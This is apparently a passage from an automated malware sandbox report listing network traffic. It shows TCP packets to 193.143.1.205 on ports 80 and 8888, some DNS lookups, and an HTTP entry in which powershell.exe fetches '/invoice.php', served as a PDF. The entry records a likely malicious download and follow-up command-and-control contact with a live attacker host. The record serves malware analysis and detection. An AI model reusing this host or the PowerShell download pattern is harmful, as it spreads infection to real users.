Jan 11, 2025 02:36:26.971513033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.971518040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971529007 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.971566916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.971734047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971745014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971755028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971760035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971771002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971787930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971798897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971803904 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.971810102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971821070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971832037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971832991 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.971837997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971848965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971859932 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.971859932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971872091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971880913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.971883059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971894026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971905947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.971929073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.971939087 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.972358942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.972371101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.972381115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.972393036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.972404003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.972413063 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.972415924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.972426891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.972434998 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.972439051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.972462893 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.972484112 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.972661972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.972673893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.972683907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.972707987 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.972743988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.972755909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.972767115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.972778082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.972788095 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.972789049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.972800970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.972817898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.972848892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.973222017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.973232985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.973242998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.973253012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.973263025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.973273039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.973279953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.973284006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.973294973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.973301888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.973305941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.973315954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.973321915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.973328114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.973336935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.973341942 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.973347902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.973359108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.973371029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.973381996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.973381996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.973392010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.973403931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.973416090 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.973440886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.973728895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.973771095 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.973954916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.973967075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.973978043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.973988056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.973999023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.974008083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.974009991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.974020958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.974023104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.974031925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.974042892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.974052906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.974059105 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.974065065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.974085093 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.974104881 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.995134115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.995156050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.995167971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.995183945 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.995196104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.995217085 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.031169891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.031187057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.031198978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.031229019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.031244040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.031548977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.031560898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.031574011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.031584024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.031595945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.031600952 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.031608105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.031620979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.031634092 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.031651974 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.031722069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.031733990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.031744957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.031755924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.031766891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.031778097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.031780958 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.031790972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.031800032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.031804085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.031816006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.031826019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.031831026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.031837940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.031841993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.031879902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.032087088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.032099009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.032114029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.032128096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.032139063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.032140017 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.032150984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.032162905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.032171965 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.032174110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.032192945 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.032215118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.032257080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.032280922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.032294035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.032305002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.032315969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.032320976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.032326937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.032341957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.032342911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.032355070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.032366037 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.032367945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.032378912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.032391071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.032397032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.032402992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.032414913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.032414913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.032454014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.032946110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.032957077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.032968044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.032979965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.032984018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.032990932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.033004999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.033035994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.060523987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.060549021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.060560942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.060597897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.060609102 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.060611010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.060647011 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.060683012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.060697079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.060708046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.060734034 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.060741901 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.061027050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.061072111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.061090946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.061103106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.061115980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.061151981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.061156034 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.061180115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.061222076 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.061222076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.061252117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.061289072 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.061315060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.061359882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.061371088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.061402082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.061420918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.061434031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.061460972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.061508894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.061521053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.061552048 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.061690092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.061701059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.061712027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.061723948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.061734915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.061736107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.061747074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.061750889 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.061777115 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.061803102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.061815023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.061849117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.061980009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.061992884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.062004089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.062015057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.062022924 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.062026978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.062050104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.062060118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.062205076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.062217951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.062228918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.062239885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.062251091 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.062252998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.062264919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.062275887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.062287092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.062289000 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.062316895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.062331915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.062510967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.062535048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.062546015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.062557936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.062568903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.062577963 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.062581062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.062592030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.062597990 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.062603951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.062614918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.062624931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.062628031 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.062637091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.062643051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.062649965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.062660933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.062664986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.062674999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.062688112 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.062724113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.086714029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.086730957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.086744070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.086764097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.086776972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.086792946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.086848974 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.086858034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.086874962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.086885929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.086905003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.086942911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.244318962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.249942064 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.529397964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.982733965 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.987643003 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:27.987752914 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.987896919 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:27.992685080 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:28.768901110 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:28.810137987 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:29.934170008 CET	49705	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:36:35.775914907 CET	52367	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:36:35.775914907 CET	192.168.2.8	1.1.1.1	0xfd6d	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:36:35.784229994 CET	1.1.1.1	192.168.2.8	0xfd6d	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:36:36.488656044 CET	1.1.1.1	192.168.2.8	0xf894	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:36:36.488656044 CET	1.1.1.1	192.168.2.8	0xf894	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:37:40.628875017 CET	1.1.1.1	192.168.2.8	0x6dc6	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:37:40.628875017 CET	1.1.1.1	192.168.2.8	0x6dc6	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	193.143.1.205	80	5356	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:36:25.483959913 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:36:26.289195061 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:36:26 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
